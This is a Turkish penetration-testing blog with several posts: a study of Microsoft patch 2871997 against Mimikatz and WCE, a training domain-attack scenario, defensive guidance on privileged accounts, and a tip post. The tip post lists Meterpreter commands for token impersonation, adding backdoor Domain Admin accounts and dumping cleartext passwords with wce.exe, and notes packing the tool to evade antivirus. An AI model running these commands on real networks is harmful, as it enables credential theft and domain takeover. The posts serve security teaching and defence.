Günümüzde sistemlere karşı gerçekleştirilen saldırılar artmaktadır. Bunun paralelinde sızma testlerine (Penetration Test) verilen önem de gün geçtikçe artış göstermektedir. Sızma testlerinin adımlarından birisi de Microsoft ortamındaki kullanıcıların (özellikle etki alanı kullanıcılarının) hesap bilgilerinin elde edilmesidir. Son yıllarda bu bilgilerin elde edilmesi için yeni bir yöntem kullanılmaya başlanmıştır. Bu yazı, kullanıcı hesap bilgilerinin yeni bir yöntem ile nasıl ele geçirildiği konusuna değinecektir. Yeni tekniğe geçilmeden önce konu ile ilgili bazı ön bilgiler verilecektir.

Yazının devamı için bakınız:

http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-wce-tool/
ve
http://www.siberportal.org/red-team/windows-operating-system-penetration-tests/obtaining-clear-text-password-from-ram-using-mimikatz-tool/
ve
http://www.siberportal.org/blue-team/securing-windows-operating-system/working-principle-of-tools-wce-and-mimikatz-that-obtains-clear-text-passwords-on-windows-session/

6 Ağustos 2014 Çarşamba

2871997 Microsoft Güvenlik Bülteni ve Mimikatz

2871997 Microsoft Güvenlik Bülteni ve Mimikatz

Mimikatz ve WCE (Windows Credentials Editor) gibi araçlar kullanılarak RAM üzerindeki kullanıcı adı ve parola bilgileri açık olarak elde edilebilmektedir. Konu ile ilgili ayrıntılı için, Bilgi Güvenliği Kapısı'ndaki "Bellekten Parolaların Elde Edilmesi:" yazıları incelenebilir [1][2][3].

Microsoft ve Mimikatz'ın Karşılıklı Güncelleştirme Adımları

Microsoft, bellek üzerinden parolaların açık halinin elde edilmesini önlemek için 13 Mayıs 2014 tarihinde 2871997 numaralı en önemli ilk güncelleme bültenini yayınlamıştır [4]. Bu güncelleştirme paketi [5] Windows 8, Windows RT, Windows Server 2012, Windows 7 ve Windows Server 2008 R2 işletim sistemlerindeki kimlik hırsızlığını azaltmak için hazırlanmıştır. Bu yama sonrasında, Microsoft tarafından, 2973351 [6] ve 2975625 [7] güncelleştirmeleri de yayınlanmıştır.

Microsoft tarafından yayınlanan bu yamalardan sonra, Benjamin Delpy tarafından da Mimikatz'in 2.0 versiyonu yayınlanmıştır. Bu yazıda da hem Mimikatz 1.0, hem de Mimikatz 2.0 sürümleri kullanılmıştır.

İncelemeler Sırasında Kullanılan Ortam Hakkında Bilgi

Yazının amacı, Microsoft tarafından yayınlanan yamaların etkisini incelemektir. Bu inceleme sırasında işletim sistemi sürümü ve mimarisi, yamanın geçilme durumu, kullanılan Mimikatz sürümü, birbirinden farklı olan etki alanı ortamları kriterleri temek alınmıştır. İnceleme kriterleri şu şekildedir:
  • İşletim Sistemi Sürümü: Windows 7 Enterprise, Windows 8 Enterprise, Windows 2008 R2 Enterprise, Windows 2012 Data Center
  • İşletim Sistemi Mimarisi: 64 bit, 32 bit
  • Güncelleme Durumu: Yaması gerçekleştirilmemiş, Yaması gerçekleştirilmiş
  • Mimikatz Sürümü: 1.0 ve 2.0
  • Etki alanı: WORKGROUP ve Ornek.local
  • Kullanıcı: Yerel bir yönetici kullanıcısı (WORKGROUP\Yonetici), etki alanında yönetici olan bir kullanıcı (ORNEK\DomainAdmin)

Bir İncelemede Gerçekleştirilen Adımlar

İnceleme temel olarak 2 adımdan oluşmaktadır. İlk adımda yaması yapılmamış işletim sisteminde Mimikatz 1.0 ve 2.0 araçları kullanılmış ve parolaların elde edilip edilmediği sonucu not edilmiştir. İkinci adımda ise, Microsoft tarafından yayınlanan yama gerçekleştirilmiş olan işletim sisteminde Mimikatz 1.0 ve 2.0 araçları kullanılmış ve parolaların elde edilip edilmediği sonucu not edilmiştir.

İlk adımda; Microsoft tarafından hazırlanan yamaları yapılmamış olan "W7-Pro-SP1-x64-15GB" adındaki bir bilgisayarda "Yonetici" adlı bir yerel yönetici kullanıcısı ile oturum açılmıştır. Bu bilgisayardan, "W7-Ent-x86-15GB" adlı bilgisayara da "UzakYonetici" adlı bir yerel yönetici kullanıcısı ile RDP yoluyla bağlantı kurulmuştur. Bu durumdayken Mimikatz aracı kullanıldığında aşağıdaki gibi ekran görüntüleri elde edilmiştir.
İlk ekran görüntüsü eski sürüm Mimikatz ile, ikinci ekran görüntüsü ise yeni sürüm Mimikatz ile elde edilmiştir:

Şekil - 1: Microsoft güncellemesi yapılmamış bir bilgisayarda Mimikatz 1.0 aracının çalıştırılması

Şekil - 2: Microsoft güncellemesi yapılmamış bir bilgisayarda Mimikatz 2.0 aracının çalıştırılması

Sonuç olarak, ekran görüntüsünde de görüldüğü gibi, kimlik bilgileri 5 adet güvenlik destek sağlayıcısı (Security Support Provider - SSP) tarafından elde edilebilmiştir. "Yonetici" kullanıcısına ait parola "Aa123456" olarak elde edilmiş iken, "UzakYonetici" kullanıcısına ait parola ise "Bb123456" olarak elde edilmiştir.

İkinci adımın gerçekleştirilmesi için ilgili güncelleme paketi indirilerek işletim sistemi yaması gerçekleştirilmiştir.
Şekil - 3: Microsoft güncellemesinin gerçekleştirilmesi

İkinci adımda ise, yama işlemi sonrasında ilk adımdaki durumlar (oturum açılması ve RDP gerçekleştirilmesi) sağlandıktan sonra, Mimikatz 1.0 ve 2.0 sürümlerinin çalıştırılmasına ait ekran görüntüleri aşağıdaki gibidir:

Şekil - 4: Microsoft güncellemesi yapılmış bir bilgisayarda Mimikatz 1.0 aracının çalıştırılması

Şekil - 5: Microsoft güncellemesi yapılmış bir bilgisayarda Mimikatz 2.0 aracının çalıştırılması

Microsoft tarafından gerçekleştirilen güncelleme sonrasında WCE kaynak kodunda herhangi bir geliştirme gerçekleştirilmemiştir. Eski sürüm WCE ve son sürüm WCE aracıyla gerçekleştirilen incelemelerin sonucu aşağıdaki gibidir.
Şekil - 6: Microsoft güncellemesi yapılmamış bir bilgisayarda eski ve yeni sürüm WCE aracının çalıştırılması

Şekil - 7: Microsoft güncellemesi yapılmış bir bilgisayarda eski ve yeni sürüm WCE aracının çalıştırılması

Ekran görüntülerinde de görüldüğü gibi, Microsoft yamasının öncesinde ve sonrasında WCE aracıyla parolalar elde edilebilmektedir. Ancak RDP yapılan bilgisayara bağlantı bilgileri WCE aracıyla elde edilememektedir.

Tüm İnceleme Sonuçlarının Listelenmesi

Gerçekleştirilen incelemeler sonucunda aşağıdaki gibi bir tablo elde edilmiştir:
Şekil - 8: Microsoft güncellemelerinin incelenmesine ait tablo

Not: Yaması yapılmış Windows Server 2012 Data Center'da msv1_0 üzerinden parola özeti elde edilememektedir. Ancak genelleme bozulmaması için bu durum ihmal edilmiştir. Ayrıca, yaması geçilmiş bu işletim sisteminde WCE aracı düzgün olarak çalışmamaktadır.

Sonuçlardan da görüldüğü gibi, 2871997 ve sonraki 2 yama kimlik bilgisi hırsızlığını azaltmıştır. Ancak, parolalar wdigest ve ssp adlı sağlayıcılar üzerinden açık, msv1_0 üzerinden ise özet olarak elde edilebilmektedir.


[1] http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html
[2] http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html
[3] http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html
[4] https://technet.microsoft.com/library/security/2871997
[5] https://support.microsoft.com/kb/2871997
[6] https://support.microsoft.com/kb/2973351
[7] https://support.microsoft.com/kb/2975625



3 Haziran 2014 Salı

Etki Alanı Sızma Testi İçin Eğitim Amaçlı Örnek Senaryo

Etki Alanı Sızma Testi İçin Örnek Senaryo

Önceki yazıda etki alanı sızma testinin nasıl gerçekleştirildiğine dair örnek bir metodoloji sunulmuştu. Bu yazıda EĞİTİM AMAÇLI örnek bir senaryo gerçekleştirilecektir.


Ortam Bilgisi

Hazırlanan senaryoda 6 bilgisayar kullanılmaktadır:
1) XP: Standalone bir bilgisayardır. C diskinde kritik bilgi (SAM/SYSTEM dosyaları) bulunacaktır.
2) W7: Etki alanına dahil olan istemci bilgisayardır.
3) W7-Test: Etki alanına dahil edilecek olan istemci bilgisayardır. Etki alanında "Domain Admins" grubuna üye olan kullanıcının standart hesabı ile oturum açılacaktır. Üzerinde antivirüs yüklüdür. Üzerinde yüklü olan Winscp içerisinde bir de UN/PW kayıtlı bulunmaktadır. Ayrıca DC bilgisayarına RDP ile bağlantı kurulmuştur.
4) DC: Etki alanı denetleyicisidir.
5) S_Kali: Saldırı amacıyla kullanılacak KALI bilgisayardır.
6) S_W7: Saldırı amacıyla kullanılacak W7 bilgisayardır. 


Senaryo Videosu

Senaryo ile ilgili video aşağıdaki gibidir:



Videoyu indirmek için tıklayınız.

Senaryo Adımları

Senaryo 7 adımdan oluşmaktadır:
1) XP bilgisayara sızılacak ve kritik bir bilgi (C:\SAM ve C:\SYSTEM) edinilecektir.
2) 1. adımda elde edilen kritik bilgi ile etki alanına dahil olan W7 bilgisayarına erişim sağlanacaktır. Bu bilgisayardan yerel kullanıcıların parola özetleri elde edilecektir.
3) 2. adımda elde edilen yerel kullanıcıların parola özetleri ile W7-Test bilgisayarına (AV'e yakalanmadan) sızılacaktır.
4) W7-Test bilgisayarındaki mevcut kullanıcı oturumuna erişim sağlanacak. Bu bilgisayarda DC makineye yapılan RDP'ye fark edilecek. Oturum açan (Sizma\Cemil Ustun) ve Domain Admins grubundaki bir kullanıcının ("Sizma\Cemil.ustun2") parolası elde edilecek.
5) W7-Test bilgisayarına "Sizma\Cemil Ustun" adlı kullanıcı haklarıyla RDP yapılacaktır. W7-Test bilgisayarındaki AV devre dışı bırakılacaktır.
6) W7-Test bilgisayarına MSF psexec ile bağlanılacak ve Winscp ile kayıtlı bağlantı bilgileri elde edilecektir.
7) Etki alanındaki kullanıcıların parola özetleri elde edilecektir.

Senaryo Adımlarına Yönelik Resimler:


0) Ağ Keşfi ve Zafiyet Taramasi 


1) Zafiyetin Sömürülmesi: MS08-067


1-2 Geçişi) SMB Oturum Sorgulaması

2) W7 Bilgisayarına PTH ile Erişim


3) WCE ile PTH & RDP Etkinleştirme


4) Parola Çalma & Domain Admin Olma


5) AV Kapatma


6) WinSCP’de Kayıtlı Parolalarını Elde Etme


7) Domain Hesaplarının Parola Özetleri


8 Mart 2014 Cumartesi

Etki Alanı Saldırılarından Korunma Yolları: Kritik Hesapların Kullanımı

Etki Alanı Saldırılarından Korunma Yolları: Kritik Hesapların Kullanımı

Etki alanı sızma testlerinde gerçekleştirilen adımlardan birisi de araştırma adımıdır. Bu adımla ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-yuksek-yetkili-kullanc-haklarnn.html 
http://ertugrulbasaranoglu.blogspot.com.tr/2013/10/ipucu-domainde-yetkili-kullancnn.html
Araştırma adımında, oturum açılan bilgisayarlarda kritik kullanıcılara ait bilgilerin elde edilememesi sağlanmalıdır. Bu amaçla, etki alanındaki kritik hesaplar uygun şekilde kullanılmalıdır.
Kritik hesaba sahip kullanıcıların iki ayrı hesabı bulunmalıdır: Etki alanında yönetimsel operasyonlar için kullanılan yetkili kullanıcı hesabı ve bu kritik hesaba sahip yöneticinin günlük işlemlerini gerçekleştirdiği yetkisiz kullanıcı hesabı. Kritik hesapların kullanımı için, en az aşağıdaki önlemlerin uygulanması gerekmektedir.
a) Yetkili hesap ile DC hariç hiçbir bilgisayarda oturum açılmamalıdır. Açılmış oturum varsa, bu oturumlar kapatılmalıdır. Gerekiyorsa etki alanındaki kritik kullanıcıların istemci makinelerde ve DMZ ağındaki bazı sunucular olmak üzere bu hesapların oturum açması gerekmeyen sunucularda oturum açamayacakları şekilde grup ilkeleri düzenlenmelidir. Etki alanında kritik olan gruplar yerine, yardım masası veya destek grupları gibi grupların bu sistemlerde oturum açıp, bakım yapabilmesine izin verilmelidir. İzin verilen bu kullanıcıların da yetkilerinin iyi sınırlandırılmış olması, sadece gerekli izinlerin verildiğinden emin olunması gerekir. Günümüzde sızma testlerinde açık bırakılmış oturumdaki parola bilgilerini RAM’den elde edebilen ve parolaları açık olarak sunan uygulamalar (WCE, Mimikatz gibi) kullanılmaktadır. Bu uygulamalar hakkında ayrıntılı bilgi için Bellekten Parolaların Elde Edilmesi - 1 ve Bellekten Parolaların Elde Edilmesi - 2 yazıları incelenebilir. Bu uygulamalardan korunmak için çeşitli yöntemler vardır. En önemli önlem ise kritik hesaplarla oturum açıldıktan sonra bilgisayarın yeniden başlatılmasıdır. Diğer güvenlik önlemleri için bakınız: Bellekten Parolaların Elde Edilmesi - 3 
b) Sızma testlerinde, ele geçirilen bilgisayarlar üzerinde kritik kullanıcı hesabı ile başlatılmış prosesler tespit edilerek, o proseslere atlandığı “araştırma” adımında görülmüştü. Bu sebeple etki alanında kritik olan hesaplar ile DC haricinde hiçbir bilgisayarda proses başlatılmamalıdır. Başlatılmış proses varsa, bu prosesler sonlandırılmalıdır. Proseslerin sonlandırılmasının yanında, bilgisayarın yeniden başlatılması tavsiye edilmektedir. 
c) Yetkili hesaplar ile etki alanı denetleyicisi (DC) üzerinde açılan oturumda sadece etki alanı yönetimi ile ilgili işlemler gerçekleştirilmelidir. Özel işlemler için yetkisiz olan hesap ve kritik olmayan bir bilgisayar kullanılmalıdır. 
d) Yetkili hesaplarla gerçekleştirilen kritik işlemler sırasında anlık olarak bilgilendirme sağlanabilmesi için alarmlar oluşturulmalıdır. Alarm oluşturulabilecek bazı durumlar aşağıdaki gibidir:
  • Etki alanındaki kritik gruplara kullanıcı ekleme veya kritik gruplardan kullanıcı çıkarma işlemleri
  • Etki alanındaki kritik gruplar veya kullanıcılar üzerinde gerçekleştirilen yetki değiştirme işlemleri
  • Grup politikaları üzerinde gerçekleştirilen güncelleme, yetki devri, yetki değiştirme işlemleri
  • Kritik grupların kapsam (scope) veya tipi (type) üzerindeki değişiklik işlemleri  
e) Yetkili ve yetkisiz kullanıcı hesaplarının adlarının (account name) birbiri ile benzer olmaması gerekmektedir. Böylece etki alanında yönetici konumda olan kişinin bilgisayarının tespiti kısmen de olsa zorlaşır, etki alanı yöneticisine ait bilgisayardan elde edilebilecek kritik bir takım bilgilerin elde edilmesi daha fazla zaman alır. 
f) Bir kullanıcı herhangi bir bilgisayarda ilk kez oturum açtığında bilgisayar üzerinde bazı bilgiler oluşturulmaktadır. Örneğin kayıt defteri (Registry Editor) değerlerinde bazı güncelleştirmeler gerçekleştirilmekte, Windows 7 işletim sisteminde C:\Users altında otomatik olarak bazı dosyalar oluşturulmaktadır. Sızma testleri ve etki alanı saldırılarındaki adımlardan biri olan "Araştırma" adımında otomatik olarak oluşturulan bu bilgiler aranmaktadır. Bu sebeple, kritik kullanıcıların (Domain Admins grubu kullanılmıyorsa Yardım Masası gibi grupların üyeleri kritik grup olarak görülebilir) kendi bilgisayarları haricinde oturum açtığı oturumlar kapatıldığında bu bilgilerin otomatik olarak silinmesi için grup ilkeleri ile betikler kullanılabilir. 

18 Ekim 2013 Cuma

İpucu: Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Domainde Yetkili Kullanıcının Haklarına ve Şifresine Sahip Olma

Amaç

  • Hedef makinelerde oturum elde edildikten sonra, bu makinelere dosya (wce.exe adlı uygulama dosyası veya başka dosyalar) aktarılacaktır ve çalıştırılacaktır.
  • Hedef makinelerde program çalıştırılacaktır. Bu program ile ele geçirilen oturumda aktif prosesi olan hesapların kimliğine bürünülecek ve bu hesapların şifreleri açık halde (clear text) elde edilecektir.


Yöntem
Önceki yazıda belirtildiği gibi, sisteme sızıldıktan sonra, yüksek yetkili kullanıcının sahip olduğu ve daha kararlı yapıdaki bir prosese sıçranabilir. Yüksek yetkili kullanıcının çalıştırdığı daha kararlı yapıda olan explorer.exe adlı prosese (748 numaralı proses) sıçranması aşağıda gösterilmiştir:
getuid
getpid
migrate 748
getuid
getpid

Hedef makinede yüksek yetkili kullanıcının sahip olduğu kararlı bir prosese geçme

Yetkili kullanıcının haklarına, o kullanıcının prosesine sıçramak yerine, Kerberos biletini elde ederek de gerçekleştirilebilir:
load incognito
list_tokens -u
getuid
getpid
impersonate_token DOJO\\sisyon
getuid
getpid
shell
whoami

Hedef makinede yüksek yetkili kullanıcının biletine sahip olunması

Not: Eski bilete geri dönmek için rev2self komutu kullanılabilir. Ayrıntılı bilgi için:
http://pentestlab.wordpress.com/2012/08/07/token-stealing-and-incognito/

SYSTEM hakları ile bir yerel kullanıcı eklenebilir veya çıkarılabilir, yerel yönetici grubuna eklenebilir:
whoami
net user TestYerelKullanici TestP@ss123 /add
net localgroup administrators TestYerelKullanici /add
net localgroup administrators

Hedef makineye yetkili bir kullanıcı ekleme

Domain Admin hakları ile bir yerel veya domain kullanıcısı eklenebilir veya çıkarılabilir. Daha sonra bu kullanıcı yerel veya domain admin grubuna eklenebilir, çıkarılabilir:
net user TestGenelKullanici /del /domain
net user TestGenelKullanici TestP@ss12345 /add /domain
net group "Domain Admins" TestGenelKullanici /add /domain
net group "Domain Admins" /domain

Domaine yetkili bir kullanıcı ekleme

WCE (veya mimikatz) uygulaması hakkında ayrıntılı bilgi için bakınız:
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-1.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html 
https://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-3.html

Not: Sızılan makine domain controller ise, domain admin yetkisindeki bir kullanıcı ile yukarıda belirtildiği gibi kullanıcı oluşturup, domain admins grubuna atanamaz. Bu sebeple, domain controller makinesine sızıldığında bu işlemler SYSTEM rolündeyken yapılmalıdır.

Elimizde domain admin kullanıcısının prosesi / bileti bulunmaktadır. Bu prosesi / bileti kullanarak, kullanıcının şifresinin açık halini elde edebiliriz. Bu amaçla hedef bilgisayara “wce.exe” adlı bir uygulama yüklenecek, çalıştırılacak ve kullanıcı şifresi elde edilecektir:
sysinfo
upload /wce.exe “C:\\”
shell
cd C:\
wce.exe -–w
'wce.exe' uygulaması ile yetkili kulalnıcının şifresinin elde edilmesi

Not: 'sysinfo' komutu ile hedef makinenin sistem mimarisi  (64 bit / 32 bit) hakkında bilgi edinilmektedir. Sistem mimarisine göre uygun uygulama (exe) dosyası yüklenecektir. Daha ayrıntılı sistem bilgisi için 'systeminfo' komutu da kullanılabilir.

Not: Bir çok anti virüs "wce.exe" uygulamasını yakalamakta ve hedef makineye yüklenmesine izin vermemektedir. Bu sebeple packer adı verilen uygulamalar kullanılmaktadır. UPX Packer uygulamasının kullanımı için bakınız. Diğer antivirüs atlatma yöntemleri için bakınız.

Not: wce.exe uygulaması (Windows Credential Editor) aracılığıyla RAM üzerinde kalmış kullanıcıların şifre bilgilerine erişilebilmektedir. Ayrıntılı bilgi için: http://www.ampliasecurity.com/research/wcefaq.html


Önlem

  • Sistem yöneticilerine ve diğer tüm kullanıcılara ait hesapların izinleri belli periyotlarla kontrol edilmelidir. Gereksiz haklar / roller alınmaldır.
  • Domainde etkin olacak servis hesaplarına, sadece gerçekleştirecekleri işlemler için gerekli olan haklar verilmelidir. Bu tür hesapların kullanıcı oluşturma, silme, şifre değiştirme gibi işlemleri veya interaktif oturum açma gibi işlemleri yapmaya hakları olmamalıdır.
  • Gereksiz paylaşımlar kullanıma kapatılmalıdır. Dosya sunucularına, domain üzerinde yüksek haklara sahip kullanıcıların hesabı ile girilmemelidir.